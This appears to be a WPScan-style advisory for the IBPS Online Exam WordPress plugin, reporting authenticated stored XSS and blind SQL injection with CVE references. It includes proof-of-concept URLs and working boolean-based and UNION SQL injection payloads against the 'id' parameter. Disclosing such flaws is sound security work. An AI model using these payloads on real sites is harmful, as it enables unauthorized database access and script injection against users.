WordPress Plugin IBPS Online Exam <= 1.0 - Authenticated SQL Injection / Cross-Site Scripting



Description
Exploit Author: 8bitsec
Contact Author: https://twitter.com/_8bitsec

Stored XSS on exam input textfields and Blind SQL Injection on 'examapp_UserResult' page 'id' parameter.
Proof of Concept
* Authenticated Stored XSS:
 
Logged as a student:
Write the payload in the input textfields while attempting an exam. The payload will execute on My Results > View Details:
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=[xx]
 
* Blind SQL Injection
 
Logged in as a student:
 
https://localhost/wp-admin/admin.php?page=examapp_UserResult&info=view&id=79 and 1=1
 
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=examapp_UserResult&info=view&id=78 AND 6705=6705
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: page=examapp_UserResult&info=view&id=-4748 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178716b71,0x6b4c5247597261614e73447378544741764b4f7172597a5a58494551685a7056644d6e595773496e,0x7162787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- KttP

Affects Plugin

no known fix

References

CVE 2017-18602
CVE 2017-18601

Classification

Type SQLI
OWASP Top 10 A1: Injection
CWE CWE-89

Miscellaneous

Submitter H4m3rm3ld
Submitter Twitter sys_secure
Views 6979
Verified No
WPVDB ID 8869

Timeline

Publicly Published 2017-07-21 (almost 3 years ago)
Added 2017-07-25 (almost 3 years ago)
Last Updated 2019-11-28 (7 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin